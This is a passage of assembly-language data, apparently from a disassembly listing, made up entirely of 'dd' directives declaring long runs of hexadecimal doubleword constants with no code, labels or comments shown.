465E224Fh, 7020D16Bh dd 0DD78B417h, 0E9E5AF56h, 57EBCA77h, 91C12198h, 0C655D312h dd 750E2029h, 0B9572648h, 0BA9C6Eh, 2E6A55D4h, 0FB103055h dd 9C5A660Eh, 4AD75230h, 0EE93A48Fh, 0B0E63CFBh, 0EEB4EC7Ah dd 0BB39E5D8h, 5CC7F904h, 9B47BE44h, 0BA935BF9h, 9A74231Eh dd 9DA9534Ch, 0B1922B2Eh, 4E6275E3h, 0F5C89F44h, 1FD3D10h dd 95101CAFh, 0E1BFE201h, 0FF6BAE6Dh, 77C02BAFh, 0EA2FB421h dd 0B00260FAh, 0B0C5157Ah, 8BFE62E7h, 0A2AC5560h, 15DAAA43h dd 0FDA0DC4Ah, 909A8CEBh, 7E88BA38h, 0CD9D4071h, 17026DFBh dd 988D02F5h, 0D088AAFh, 4ECDA3A2h, 39187255h, 207D4098h dd 0D6DED134h, 55D5FAEh, 0E87183C9h, 95FF465Ch, 29501470h dd 98C5B340h, 6505405Fh, 9705F45Dh, 0FB5846E5h, 95974BFAh dd 0A6544AC6h, 0F020D1F0h, 9282F29Fh, 2A3CFA11h, 0B3DC8E00h dd 0E9FC81A6h, 9994AB84h, 50275D58h, 6255ED2Dh, 52D8940Fh dd 6713F524h, 0BADFDA03h, 5342BF41h, 4AAF4E8Dh, 0FFD6B10h dd 591F5009h, 0C63655D6h, 81351C4Fh, 0EC55893Fh, 0CEA9D71Eh dd 95DFEA60h, 0AD592A75h, 959A2690h, 48825DD8h, 0C05A9E02h dd 60B9AA7Ch, 1EB5BEF7h, 1A211972h, 7A65959Dh, 0C822017Eh dd 9CA25FC1h, 0C5551D72h, 5F50FD2Ah, 5A3240E4h, 0CFC12F8h dd 153319C7h, 512F8C3Fh, 17B486F4h, 0F6FAE0F6h, 0A70A7D95h dd 6277965Ch, 4F709297h, 0AE3DEBAh, 52CD3FB7h, 1D5C3355h dd 4563161Dh, 2DB9ECCBh, 0F17A38BBh, 0B6B6F05Ah, 9CDF49EBh dd 2AE2615Fh, 0B9706297h, 0ED10BBE2h, 2BE68D2h, 0E2A8168Fh dd 0BB8614A6h, 32041FAAh, 400408Dh, 0A271E0D9h, 5DEFCF65h dd 4B0A9C70h, 1474823Ah, 6D6371A5h, 0B9202297h, 0A035750Ah dd 0F08F8FFDh, 0A3A55643h, 4C3BA084h, 0AB10DE59h, 91CD9430h dd 83E662BBh, 9E953BEFh, 926545C1h, 3B3BF1EEh, 0A8567AAAh dd 0DC6C75D0h, 3C7A2D47h, 2260BFDDh, 0E179B665h, 0A0AFC2DCh dd 428C179Ch, 1D7B85C3h, 0B85E2645h, 92052281h, 9A113E5Eh dd 819DBE8Ah, 0EE292472h, 0EDF04D28h, 8F46ACC4h, 0C8924422h dd 0CE271C21h, 0F5B86DC8h, 0B372D5B5h, 0B8A71A48h, 7B8B2D7Eh dd 310F6251h, 0C2204B64h, 77F1021Eh, 0F82321F0h, 0E6D19C2Fh dd 3B85585Fh, 0A4A2743Bh, 3F385550h, 7BBCFA20h, 16AACCA5h dd 5F965457h, 8E4659Ah, 0FAAB6743h, 58831121h, 8586268Ch dd 5502056Ah, 0FE2254C1h, 1BF85312h, 0ECE15528h, 0B555B08Bh dd 82FE6080h, 9F4509C9h, 0E9491B9h, 528C148Eh, 0F8B35330h dd 0ACAA883Eh, 1D262AD9h, 0C631CDCCh, 0F5862E10h, 8D1BA119h dd 5643462h, 0E99ECCA0h, 0A082213Bh, 29E54F40h, 7653277Ah dd 4E2062F0h, 4689D42Eh, 8091A880h, 4F5CE395h, 605F76ABh dd 0C744CC7h, 0A634C43h, 4194007Ah, 3CEF9095h, 0B4996DA3h dd 55A34513h, 4FEE6CCh, 601989D9h, 309D9027h, 0E9624FF2h dd 15C96C4Fh, 0F13F7551h, 0D2C48274h, 9D1A489h, 9A275725h dd 5C9EC4FEh, 33A94211h, 4EF0277Dh, 56A6F938h, 13FA6751h dd 0B8452773h, 9DA4809Dh, 0A0907288h, 7EB94DC0h, 0EA5C57EBh dd 8A662CDh, 1E5F18ABh, 8C113D90h, 27F30199h, 9997529h dd 7E0C3115h, 0B1ABE6A1h, 0D14CE8C2h, 0D9392A21h, 97D54BF9h dd 63588E55h, 168F3785h, 0DEF1127Dh, 0B3F7D34h, 6BC7C760h dd 4B270AC7h, 0FCB5E294h, 788DDD39h, 0CCE6177Ch, 2793731Fh dd 96A8FA5Dh, 8510D563h, 0AD841245h, 1CB8D75Fh, 72AACFABh dd 0D7B50DBDh, 9D9DC72Ah, 0EAE5BF4h, 4E5A87E1h, 5A40B9C1h dd 53FF34BBh, 3EC4F2E8h, 0F05E3711h, 2D646AF8h, 0E0E38305h dd 0D17F5D1Bh, 0DD76C10Dh, 0E1FA1439h, 72542972h, 0FAF7E54Ch dd 8A91E78Ch, 0BA3F62CAh, 17A4C1EFh, 992C3CCAh, 0A2B2CDF5h dd 1207094Fh, 73AEDB41h, 0B16A583Ah, 0A9BDC930h, 3AFE488h dd 0BE8A4549h, 0FCCA6107h, 92A3D29Ch, 0A1468AFEh, 7E2FF32Dh dd 0DDD2CA22h, 9052777Ah, 14849E03h, 0A132D400h, 0B4D1698h dd 0C0527E64h, 0C2F14B44h, 0D18CAF0Fh, 8A78246h, 9EC6D13Fh dd 622D655Fh, 0A5080A6Ah, 14C13845h, 0B27AB441h, 9107FA25h dd 8D526F5Bh, 4A5D5262h, 8FC60A43h, 93A86F16h, 0B04B8589h dd 3194C14Dh, 0B98BD77Eh, 0C37301EBh, 0E6BB0225h, 9279C56Ah dd 0B4CCC2Eh, 0CEA26EB4h, 2C07549Dh, 21882A84h, 618F2EB3h dd 768092Ah, 8936680h, 7AA63Ah, 0E505E69Fh, 7B096F2Dh dd 0BEC0D4ACh, 16FFC7A9h, 41A91489h, 0C03BA864h, 0BC01D08Ah dd 8922469Ah, 0C114E899h, 8F062430h, 0D4874829h, 0F0E57D02h dd 5C5D4B01h, 82A1B700h, 6F7E6B4Ch, 3026565Fh, 2554570Ah dd 0F1376C50h, 183F876Dh dd 7CD0CF58h, 8A31FC5h, 8085652Ah, 0E466E9B2h, 30D565Dh dd 0C3E5ED55h, 0D1F08F32h, 6B7A4221h, 29793AD4h, 553D2D41h dd 0CD147FD8h, 882A8FC6h, 7344DF18h, 0B12DDC7h, 20C28A2Fh dd 0E7A09C69h, 6A56A880h, 0A775A860h, 44AEE6C0h, 0FBC346A3h dd 0CB420C38h, 0F6EA53F6h, 0F16E5299h, 95C7D577h, 0ACA028BEh dd 5642D35Fh, 51AE3A39h, 9280B357h, 3B403189h, 0BA4F4E6h dd 74187D80h, 41B41453h, 75E685F5h, 0C6FE37D6h, 5F2456EDh dd 7D663A37h, 1C5EC040h, 0E9B03C09h, 2617D574h, 6321895Ah dd 2CD25588h, 0FE22EAAEh, 1D9ECF8Bh, 0D836D280h, 0F22CC097h dd 35E3842Ah, 0ECDFFB75h, 55F2EEBBh, 84D3A4EDh, 0C06F8059h dd 4064150h, 0A67C41DAh, 9BC89934h, 1070C51h, 0F9191ECFh dd 5CC30692h, 72290C5h, 0D79B675Ah, 2DDE1FD5h, 544E19FFh dd 0AF16847Eh, 1875630Bh, 61C5CC4Ah, 0D900633Ch, 0EF7995D8h dd 1D6C7F6h, 3DD6A8CCh, 0BEA3401h, 857D5626h, 0C4814D9Bh dd 7D90832Eh, 26354013h, 0FDF7508Dh, 91DC699Fh, 87D641B6h dd 0D225E6B3h, 0C2B03868h, 0E12D5B01h, 1BF1E232h, 0D66E4762h dd 0BC503A9Ah, 8A885DD6h, 0AD0D0822h, 9E8A5168h, 5FD15DACh dd 48F23FF3h, 0B0344F9h, 0A8FA48A2h, 3D65154Dh, 2AB2661Ah dd 0D96489E3h, 1A90EB2Bh, 901BA43Eh, 21682B9h, 0E9DF8FBEh dd 18E58CC4h, 0BE3B4695h, 63D9431Eh, 65833A4Ah, 1D9BE9D5h dd 39994B54h, 0D45527FFh, 0BD565501h, 0C46BC99Ah, 2B8EA9BBh dd 48EF6D41h, 6C4BAFC0h, 0A3EF0E56h, 0AFC6AF50h, 4816460Bh dd 7C7AF08Ch, 1470345h, 4878A20Dh, 0FFC00F24h, 0FB21AA2Dh dd 280C3B74h, 5C436884h, 30A4F451h, 0D551616Ah, 0C5614F54h dd 12AC242Ah, 64A283CAh, 22FAEF25h, 771DD1C8h, 0BC00D02Bh dd 79A5E515h, 5CC12AEFh, 48944D67h, 57EACF4Fh, 9804B820h dd 0A2FF1E86h, 0F9342E90h, 559636A3h, 0BF75A8Ch, 1CE4A663h dd 0B4653B04h, 718DDC20h, 0CE0A76C2h, 98365FBh, 0D0209581h dd 42868451h, 95055570h, 6034AC7Fh, 0CA17FC7Fh, 435FAE3Eh dd 4AE27229h, 6E527101h, 1A3EEFE4h, 0A6D1B7ACh, 0A65DC88Ch dd 27FF0B42h, 3BF4D5A3h, 0AFC013D8h, 0E0E188A8h, 0E562ECEBh dd 5DFE3877h, 98766B70h, 0C71CD16Ah, 0CEFC7F24h, 238E6DBAh dd 0D1B4D0CEh, 0CCA2FC98h, 0EF345851h, 182FCFE9h, 10670B8Ch dd 0A20CE6E9h, 0A60837C8h, 2268DB40h, 2268BA70h, 0A38EAA61h dd 0B2CDAA28h, 0CFFAB701h, 8E495019h, 0D158689Ah, 2D7435FEh dd 0C4C752BEh, 5F0E7AE4h, 9A187E8Eh, 0DA8CB8F4h, 80BBA02Ah dd 6356FFEh, 461C6824h, 0DF4D72BCh, 6C77405Ch, 85920EA5h dd 1C84589Bh, 7F8A501Eh, 4488BD7h, 8A8F7B9Ch, 0A533B3ADh dd 0FF4FCE02h, 0C5C041DEh, 8DF5CB0h, 0A30768FEh, 3DBBEF0Ch dd 0CA8BF881h, 0C4E06137h, 6FF2680Bh, 0B6887FFAh, 3A41D0EAh dd 906BB5C6h, 5F7217D2h, 6542E69Dh, 0F0BA26C2h, 0E7469ABBh dd 0AB97501Ah, 6922B3D1h, 0B8941AA7h, 3388A6E0h, 17457823h dd 0E4B4EDD0h, 93C81292h, 11152607h, 0A3AAC266h, 0E78CB109h dd 0F273320Fh, 6CB4286Fh, 1F1B8EAFh, 75E14175h, 0A35C2101h dd 0FE6B6EACh, 2983FCFh, 4FCEA582h, 29F2EA97h, 3E67AA4Eh dd 1D785FF4h, 32BE73CDh, 1C430914h, 10041DDh, 9AF7A88Ah dd 1891A99h, 7BD51AB6h, 9C14E68Dh, 0C57E8BEDh, 546E28BCh dd 5886506Bh, 14B50B40h, 89D9ABD4h, 218951DEh, 0F91A8A32h dd 7963D82Fh, 568E9F07h, 438E9778h, 0DEEB1D55h, 9E1A6872h dd 0F5A2B50Eh, 0A1846B51h, 4CAA3915h, 0BFE936C3h, 0D1EFB110h dd 7077EBB4h, 97578B6Bh, 0C78BDA61h, 73530FF0h, 2F8420D1h dd 60A8CBDh, 0D66337A7h, 0DDC9637h, 2F8CAD1Ah, 15D23577h dd 0EEB819D8h, 5C9C1233h, 78C84E3Ah, 0E398C5DCh, 0CA6E12BAh dd 0A575EFE3h, 7D112211h, 0E63898D4h, 8D594812h, 1DD3BB89h dd 375FC446h, 87B15529h, 8ADAB29Eh, 62906624h, 0F3660079h dd 0CEEBCABAh, 8BE772ADh, 4AD5664Ah, 0E70182A6h, 0BBF80250h dd 0D3683220h, 43E826C0h, 0BE09A62Ah, 32EA0BEFh, 91B52D60h dd 51F5B0DFh, 9FECDC94h, 57B0CFE5h, 943F7515h, 0E9E02F87h dd 0EFA7577Bh, 0F4E6465Dh, 0D5439D58h, 672E82CFh, 997DD607h dd 0E8E32CDCh, 0DAAE1F5Bh, 0F556617Eh, 0D492E641h, 4A055640h dd 0FA183BF5h, 8ED72703h, 0AE3C6BBCh, 6E205902h, 3693C52h dd 3B96BE43h, 1AA62CA4h, 0BDEAD5FAh, 0F6E933DEh, 42458EA7h dd 290B2501h, 0E91CA388h, 0F04553DBh, 87027D38h, 520AFC7Dh dd 0C6C3F999h, 51E6F1CFh, 0D28FD702h, 89220329h, 0F128099Ch dd 0A6ADCFFCh, 0E3AAFB2Fh, 0D035FE44h, 4F81BF4Fh, 0A00DD4A7h dd 93F84CEDh, 857C5D17h, 0ADC70613h, 0CE246565h, 4B4CFACCh dd 0DED5AA0Fh, 0B18761A5h, 0DA3E1A00h, 3EA50894h, 857B8BECh dd 0D14B3983h, 0AC428A7Fh, 0E6550108h, 0BFD98CA4h, 79157BEAh dd 25EA2855h, 0DF5AC9Fh, 0D15E260Ah, 0B3FF2155h, 34C4046Ah dd 0E239DDF9h, 5425BAE1h, 0FBEF202Eh, 41E26128h, 97EAD230h dd 0BC660F5h, 0AC5E5B1Ah, 9432EEBEh, 0E6C0D42Ch, 0E7431A58h dd 3829909Ch, 0FD0B480Ch, 0ECBE2BB9h, 534D67B3h, 304CD8BAh dd 0BF8BDAABh, 61748C06h, 271228A5h, 0A4AD9360h, 0A519DBACh dd 5C206204h, 0CF1B0FDFh, 0C233898h, 62230935h, 7006CACh dd 4AC104EBh, 0BD293205h, 9938FA6Fh, 0DD350583h, 0E30FCED7h dd 0B2B4477Ch, 50D5FE00h, 30138906h, 0C9AB0FFFh, 0D70E851h dd 1F28EA11h, 0A0363AA4h, 0AEE50551h, 29C0A8BAh, 0A9D56628h dd 0DA5264B3h, 2F085554h, 0D5534156h, 390A350h, 0F18385CAh dd 68FEC04Ah, 56B6D29Fh, 853A5155h, 5F536701h, 3F0B4943h dd 0C64598C4h, 0D1ECBF7Ch, 70508E92h, 0F369621Eh, 62B53E6h dd 0A5097162h, 44F596CEh, 152B1C50h, 55191A40h, 253789E7h dd 0B507DE89h, 0AD15DF9Dh, 9A185B49h, 0A5CB06A0h, 5D29BC24h dd 0D6C42DA9h, 8923B407h, 0F7AE45ADh, 9E4AEA7Fh, 685E721Dh dd 23CB2B5Eh, 56A0A6F7h, 3B0D1B4Eh, 715510DAh, 0CFCF53B4h dd 90292493h, 249F3175h, 1441BD90h, 599559BDh, 0C757CA85h dd 548E3215h, 753DCA44h, 0D96EA07Fh, 0CFE72EBh, 4751453Ah dd 0A2CBA283h, 711E2152h, 5494051Ah, 52156E10h, 0BDAC9754h dd 978495D1h, 1BBF8B17h, 719F8CD7h, 91814ACh, 41C36A23h dd 672888F5h, 0F30876B4h, 0A968AF35h, 0BCC8A6Fh, 0E376C637h dd 0DEA6372Bh, 74B6481Ah, 20CFCB1Ah, 8CC7AA31h, 0D8292833h dd 0F1ED46D5h, 4151250Ah, 0F5B81853h, 61135773h, 5256DD2h dd 6EFACA0Ch, 4214BB4h, 0DEE280DEh, 80031312h, 99687EBh dd 41F933A6h, 2812A90Dh, 918C68CBh, 5FA04974h, 3040C05Ah dd 0E8065C68h, 0AB8151D5h, 795B376Ah, 0B84836FCh, 2AA718CCh dd 22AB43B9h, 3125893Bh, 64666BF5h, 0BD5A8049h, 878B2E34h dd 0F1412B6Ah, 99390B37h, 0EC821B37h, 9C4798BBh, 364F67F6h dd 16BAEE91h, 0D81E755Dh, 60FF4468h, 0E77438D7h, 5EE8D02Bh dd 0F92A2DD9h, 0E185B1C4h, 8B2ABD9Dh, 0B0665FDAh, 0E30EC75h dd 581E2FCDh, 341CFD57h, 6D11DC1Fh, 0C6971D60h, 0B51D2D17h dd 0B5E85567h, 97A5545Dh, 0ED56B5A1h, 0A3235C35h, 0AFDA2E89h dd 0EE494AB2h, 0A3F9D999h, 74CD974h, 0B48F4116h, 0D935B97Ah dd 693C7794h, 345A0B3h, 0C6B37A1Dh, 12DEF176h, 0F1751572h dd 5A27DB8Eh, 32D8183Ah dd 11A59457h, 40CCEE5Fh, 1C83F516h, 943DAB11h, 151D357Fh dd 0E0897421h, 65755EA9h, 0F8703325h, 3350B590h, 6B52FFAAh dd 0A28927B1h, 82C3D280h, 0AE57861Bh, 3CAE437Ch, 9AE9A505h dd 0E0CE5C51h, 0CC623860h, 0DDF297A4h, 4273A08Ch, 3DA6214Fh dd 18B01D96h, 2C5B4820h, 16098ABh, 0D1EA72E1h, 0B36AB255h dd 0BB3FD258h, 4C44150h, 456B92D5h, 495CA8C7h, 0BC24D154h dd 0E26FAD98h, 96E7D56Fh, 8280007Dh, 0C7CEF288h, 8D3B3220h dd 64BB86AAh, 89B66935h, 125A7D28h, 0A742C1C0h, 0B7EA11AFh dd 52087C5Eh, 0E88BB03h, 9F16EBC1h, 5828832Ah, 67A6F87Eh dd 2C62A5F1h, 2ED75F99h, 3D183F68h, 0AE9E1009h, 0B55FDFF7h dd 0D315D8B6h, 51EA0Ah, 0F1901F7Bh, 0C2197F80h, 7C0F09FFh dd 1B724342h, 88AC6C6Ah, 12ADA6D2h, 61AF3570h, 73185125h dd 17975103h, 0EBDB88ECh, 1B8F4BD5h, 5B1B9974h, 0D158A903h dd 319B8C55h, 0E59A70Dh, 3F69264Ch, 9307CA66h, 3CD7616Ch dd 7811DEA2h, 82F20F95h, 46D52D3Ah, 0FAD1E8D1h, 2E8B86AAh dd 6F3A982Ah, 6E6877D4h, 0A1CB4155h, 8B465A18h, 0BA41B25h dd 4CA09833h, 0DAF049B6h, 9B3785Dh, 380D4CDEh, 0B3FEFE6Ch dd 749A966Bh, 87DF6391h, 0FB189C48h, 1BABBD1Bh, 362CE341h dd 0EF1C9EB8h, 0ED0908CBh, 0D5EDD537h, 0DEF8186Ah, 22D81A86h dd 0C04E695Ch, 2E3AD1F2h, 8D8B6466h, 4C281567h, 3C18261h dd 546D65A7h, 22D661A8h, 8F3918CAh, 23A25D14h, 450170A2h dd 0D8B6FA3Bh, 290D985h, 0AD34A6Ch, 82D116B3h, 4884C960h dd 72264466h, 8CFB93CBh, 55F611AAh, 7953843h, 29145068h dd 57E70499h, 3411A229h, 0BBBE7E37h, 94458227h, 6143CA2Dh dd 0B81365A3h, 37225E9Ch, 0D4508495h, 0EC058CBCh, 0B8C6D369h dd 0E9031CFDh, 4546A26Fh, 0C25953BAh, 0AB28DA28h, 0F7455F13h dd 6AD6C6D6h, 1A8B51D4h, 68A4974Ah, 0F75DFFA2h, 0E6D3D13Eh dd 165190FEh, 996BF2E9h, 0D72577DAh, 0FEC9FA7Fh, 0B37A837Ah dd 6514B1CAh, 39340182h, 19168630h, 0EF96942Ah, 14BFEFACh dd 6D225C6Ah, 233A600Ch, 800B038Ah, 5A0082BBh, 0A14F130Fh dd 67037E19h, 7D58DBA2h, 714A2713h, 3067AE3h, 0D6CD50ECh dd 0A2486284h, 34B33094h, 4011A5D6h, 8012C1DAh, 579F55D9h dd 573745D2h, 76556475h, 1E8B21FCh, 2AE79B57h, 0C21B28D4h dd 0B4576270h, 0AB95A72h, 73D0020Ch, 77D46BA7h, 1832B2BEh dd 15780A5Fh, 5650A441h, 0ECACF4CFh, 0D65D7D22h, 0C863B150h dd 102625A4h, 49036229h, 0F8020780h, 0E930C6E3h, 9517DAF5h dd 449A66E0h, 0F70F9839h, 0CFB2EB19h, 85780C3Dh, 0A124507h dd 0AB8AA199h, 76049075h, 0E779CF8Ch, 85A46451h, 627742C5h dd 0B2C9E630h, 0B4048DC3h, 95A514E1h, 4EDCD7D1h, 90756C19h dd 0D47A1D6Ah, 14FFEF92h, 0AF7C8311h, 85BF66B2h, 6E5E990h dd 0BADFF748h, 0D8046C78h, 0EFB93192h, 460C988Ah, 5ED869Eh dd 234F5365h, 98FAB148h, 29978657h, 2882928Bh, 0C819F32Fh dd 313F4FE8h, 0B83A76A6h, 89B22338h, 60BDA6BCh, 7FD95178h dd 0B387E2FDh, 0B28171F0h, 82977C15h, 0E5593940h, 6A3C4864h dd 6851A48Dh, 0F988AAAEh, 0B88557CBh, 0EC031B9Ah, 68E3BDC1h dd 0C110499h, 26775A2Fh, 0D1406A99h, 22CAACA8h, 0BAC7B4B6h dd 4608A20Ah, 0B8052D16h, 0D87AB6FEh, 66FECCBDh, 0A233D35h dd 0C37319A6h, 0F9046C88h, 2A2A482Bh, 0A0CD17BEh, 560D2591h dd 6F4584Eh, 17C8D1CCh, 49CD14A6h, 6A814B02h, 0AA27FA2Dh dd 4624B0A2h, 21623D66h, 8A962AFh, 3664B126h, 5D0A59C4h dd 76F1F5C4h, 14830D60h, 0F630580Eh, 91ED1155h, 8C948C6Dh dd 0A863500Dh, 0C5542516h, 5738A7BDh, 5272208Dh, 47DC1066h dd 60F6E005h, 0D305B723h, 45576763h, 0ADEB1C96h, 0E03FC754h dd 0B7EF6ABAh, 168ACABAh, 5A1E4606h, 0EB464545h, 0DF78E2B7h dd 0BF7A948Ah, 62E21D5h, 64D25363h, 51EBE9Bh, 0EF96FEB4h dd 6271834h, 81E2B800h, 0B78707C1h, 0E856118h, 90AAAD57h dd 13C800Ah, 415A3225h, 6F91FAD1h, 0E6A5689Eh, 9E37A589h dd 0EF2D1A40h, 0AB97AF9h, 5541186h, 0CE9FD4A2h, 0A505113Ch dd 2378056Fh, 0A97736C4h, 6A88134Bh, 0CA02D9h, 2AFDA3Bh dd 55915B90h, 0E45DF518h, 4DA5E289h, 71792DEDh, 202DB4CAh dd 20C99B46h, 0BD7B1545h, 0CA239A44h, 3310E098h, 4300E40Dh dd 11488998h, 0E8889B46h, 0D5F9EDA2h, 0AA304921h, 2168F690h dd 4D11A572h, 3E42A222h, 0C448C942h, 451FAD11h, 35288238h dd 0E806216Dh, 8975014Bh, 2C4AC9C4h, 55A19673h, 6227030Ah dd 149BF68Eh, 1DA100B3h, 29B6071h, 6211CD14h, 0D1CC308Eh dd 0A72DF208h, 700DBE30h, 12C089A3h, 33688505h, 0A6B8C157h dd 4C1FC7D8h, 392C6AD1h, 0D5A229E2h, 0D14447C8h, 8F904814h dd 814D7210h, 0A2DE869Ch, 38F6F09Fh, 7727438Ah, 8015A022h dd 0E6A9E9B7h, 9E65FA09h, 89E51B90h, 689E51B7h, 0B489791Bh dd 7E895251h, 3AE8E7B2h, 0F092984Fh, 0F2DED8C4h, 4F243174h dd 44F28D7Ch, 493468D7h, 55411C8Ch, 28DBAD0h, 17572DDEh dd 4407C4E0h, 121E69E8h, 8AB86A0Fh, 2BCA79B3h, 7678FF45h dd 91F02B8Dh, 9D6DC282h, 13C89F31h, 3428B4F5h, 0F2D8C157h dd 4F2ADD84h, 84F28DD0h, 4436E8DCh, 51B6A53Ch, 346D9E4Fh dd 0FA9D09E1h, 13CD2279h, 413CA266h, 184F7236h, 5F13CCA3h dd 35C10A23h, 0CE91CA22h, 9E043CFAh, 79AB0927h, 1F4F6AE2h dd 0D4849CA2h, 384432C8h, 8FB6F3FBh, 0BF27A027h, 7C15A0FCh dd 0F34206BDh, 84F27284h, 104F0AF1h, 0D044E68Dh, 37442BC8h dd 536EF3BBh, 0A46CFC4Fh, 3B154233h, 2DEA9E64h, 0EC05A4E5h dd 0C2CA325Ch, 0E430CB75h, 0ADF15BD4h, 85A3F94Bh, 96B4D439h dd 95424FE2h, 51786E01h, 0DA3CB2A4h, 81B0B398h, 0ED980544h dd 0A0F19EA4h, 46E2CB46h, 0E922E57Bh, 0CDC58977h, 3E6AF1FDh dd 0D094A2E8h, 0D9DABB14h, 6F26E6F4h, 9EA7A9Bh, 57AC896h dd 67466DA7h, 95248279h, 7919A227h, 279069A2h, 0C2794694h dd 0A2434468h, 0EA37B29Ah, 9B7F13CCh, 9EC4F278h, 8DDC2668h dd 0D324F3CEh, 79714F30h, 27954E62h, 9B0446DCh, 93C2D328h dd 0B88EF290h, 0B15D42E0h, 6918CCAFh, 25204C82h, 279F4CE4h dd 66415ECEh, 0A7622972h, 22753CDDh, 0BA2713CDh, 2BA9F13Ch dd 0F09A194Fh, 3CFCD6C4h, 2A897591h, 0EA424B53h, 9626E134h dd 0C9B279F8h, 3C8F4F13h, 13CD74D1h, 3230A749h, 93A1ECADh dd 0E93A9E69h, 58D389E5h, 0B4DA089Eh, 0F04FBF13h, 0DE04449Dh dd 2A4C2169h, 9B84F39Fh, 7931EC27h, 2791EE82h, 0A2794EE4h dd 0A66BA4EDh, 0A9D9D794h, 9C9D13C2h, 26E9C4F2h, 0CF4F904Fh dd 0F79AC693h, 3CE9F897h, 8F495F1h, 0ED494A14h, 69B7ED36h dd 0F571D3A7h, 0A7550D82h, 0D2753CC8h, 942313CBh, 3A80213Ch dd 0E4C9E445h, 0F3309E6Bh, 4F3F9384h, 0C9029D28h, 4E8C9254h dd 66D079E5h, 0B45126C5h, 7A6D1534h, 39D182AEh, 1C7D2D2Ah dd 24E955Fh, 44A50A50h, 0E68896B7h, 9ED8B805h, 93F8517Ah dd 8B219C2Ch, 750ABCBAh, 0B36AC02h, 639B67CCh, 9CBD095Dh dd 0BED4EF45h, 0CACE0764h, 3896B96Ch, 8FE288B0h, 0E5D2B712h dd 9E06E8A1h, 3BBE798Fh, 92049D2Fh, 0C4508CA2h, 0CF31351Fh dd 0AF3B7795h, 0E5E71B90h, 0D3F89E07h, 8E2372B6h, 9A79899Ah dd 0B912A531h, 0FB6B38FBh dd 0D4CB0E33h, 0A4DC5060h, 0EBF42B8Bh, 3F932E63h, 7C032C2Eh dd 0E6A694E3h, 0F26C6D0Bh, 92BA6E0h, 55D849DAh, 89DE04h dd 0B186BE74h, 266A785h, 5BCE247Bh, 17BBF4h, 5761195Ah dd 12906A16h, 54170BB3h, 2FE91D87h, 33C73FCAh, 18F5B61Dh dd 24189F2h, 62AE5439h, 0FDCB5DACh, 25D4D8B3h, 88E0A7BEh dd 0D5945779h, 0B9BFC563h, 5B329B7Fh, 228667EBh, 291C109Ah dd 8727C8B0h, 0C61ABB13h, 0CEBD0F41h, 31E409EBh, 710A7118h dd 348517D6h, 84B4E411h, 0CD622241h, 0F2CA8D89h, 37C05126h dd 0C4E9A70h, 0CCC453BCh, 33B55AD8h, 83429D4Eh, 7C20553h dd 0B741CD3h, 1CBA93D7h, 9F33A8E0h, 0A461834Bh, 0CE3F6713h dd 85561AA6h, 0E3B5BA32h, 52F0ECCCh, 0B8269384h, 31AB6D16h dd 902F8DA0h, 0CC83C9F4h, 14143383h, 3236E893h, 4E2D50ACh dd 3BF99002h, 8C419219h, 71EBB06Dh, 4C0857C1h, 54968204h dd 4911767Ah, 5D45513Ah, 0B431DBAFh, 0E8302788h, 27A81C7Dh dd 2128D1F7h, 6ED492E6h, 2A91B9EBh, 4762458Eh, 84D4C46Bh dd 5A566EC5h, 680C1B4Eh, 29378793h, 52058533h, 288D4DBDh dd 8179120Ah, 0B1A94048h, 82905CC9h, 0C9BABA6Dh, 60BD394Eh dd 20296D6Bh, 0CF54704Fh, 0B89EC493h, 0AA897D32h, 3A905953h dd 23C9E539h, 0F37A9E75h, 4F2C9404h, 0C4F29D34h, 204FE9D2h dd 0D4C8A09Dh, 0B74E39D1h, 91E4A279h, 0E41D8427h, 364DE229h dd 0C4C53BE9h, 1EC4AFF1h, 980B25A5h, 0EEE3529Eh, 95A79684h dd 2EE40B9Ch, 909E7518h, 6987513Bh, 1A7666A3h, 0D34653CCh dd 89E6D13Ch, 409E9335h, 29993D3Bh, 8C9D7763h, 3EF184F3h dd 0C279884Fh, 0B62774CBh, 0AC89E04Eh, 3AB087D3h, 8B26E47Dh dd 0CB6A9E12h, 3CAD5413h, 27897511h, 251EC553h, 3A10E511h dd 0C49945E1h, 26D38443h, 6492309Bh, 465808A2h, 13CF6C9Bh dd 32282F47h, 93A1EC49h, 3D3B9E79h, 4DB789E7h, 0CFC2F935h dd 4EF25114h, 0E88279A3h, 3C9B2794h, 13C96781h, 0CDE2A773h dd 3B583144h, 61C9784Dh, 0F3DD9E41h, 0CA279A44h, 0EC420D4Ch dd 86269024h, 0CDFC79EBh, 0D89E5E13h, 6CCD2D32h, 8C216A12h dd 26587C4Eh, 0F42177F0h, 0CAA11995h, 0D82F939Dh, 5CE72684h dd 99445418h, 9C14620Ch, 79AA60BBh, 2795EA02h, 64914E98h dd 0A748282Ah, 22713C9Dh, 0F50313C9h, 279634F2h, 29B14C86h dd 0E94234E2h, 0F5565C4Ah, 0BC2648E7h, 0FB3592E2h, 216DA40Eh dd 964F10CCh, 7880480Dh, 112D89B5h, 7A3A2BCh, 142D9F56h dd 0F5DB6D9h, 7C19344h, 3F3726B8h, 0DD9E5238h, 90421FB5h dd 5DF98A3Eh, 815519FAh, 35CE92A5h, 65F26C9Ch, 0A92FE9BFh dd 110F04CFh, 859B1FF8h, 942A21CFh, 8E518F85h, 2C8AADE0h dd 0D17CD7DAh, 0E952AF4Eh, 6193C6E1h, 3039EA59h, 0CC1564D7h dd 0D42D9932h, 0A50D631Eh, 0D8D11B09h, 0CD6AC632h, 51256755h dd 68F98EBBh, 0B65D4021h, 0C0F1BBF5h, 3824BEACh, 73907C2Eh dd 0D0C24615h, 0DD19CC2Dh, 1B89BF9Ah, 0C35402CAh, 0F54AA2A8h dd 0DAE75544h, 0EAD5960Dh, 38B5C1F9h, 6D7E3682h, 6FE949A2h dd 670580A8h, 5DE5A26Dh, 6DFBDC5Bh, 1A88DA2Dh, 8AD3AA30h dd 6A82C235h, 4B838CA1h, 51342F9Eh, 0C9A30C5Fh, 94CDCA0Ah dd 1CF39BB4h, 0A1285DDBh, 616F0F1h, 0DEE79526h, 0EA033470h dd 5F34CEA0h, 14AD8686h, 14232A4Dh, 0EE721F54h, 0FC999347h dd 0F1CAC08Fh, 4AD5A659h, 3BDD94A1h, 29182C42h, 8D485F06h dd 63095DD1h, 0E00C1D27h, 0E50E23BDh, 5050962Eh, 3A1361E9h dd 0AE732F87h, 25753A1Ah, 20179C05h, 0B11D06A7h, 69575753h dd 20F64C66h, 2EBBAB5Dh, 0A0618C80h, 0D6B5D152h, 0C6B39EECh dd 83D72EB1h, 2BE8FA2Bh, 472A98F8h, 96650A9Ah, 83253151h dd 29B4ABB8h, 546F7995h, 59FAF5F6h, 0ABB4CC4h, 53FDE4D5h dd 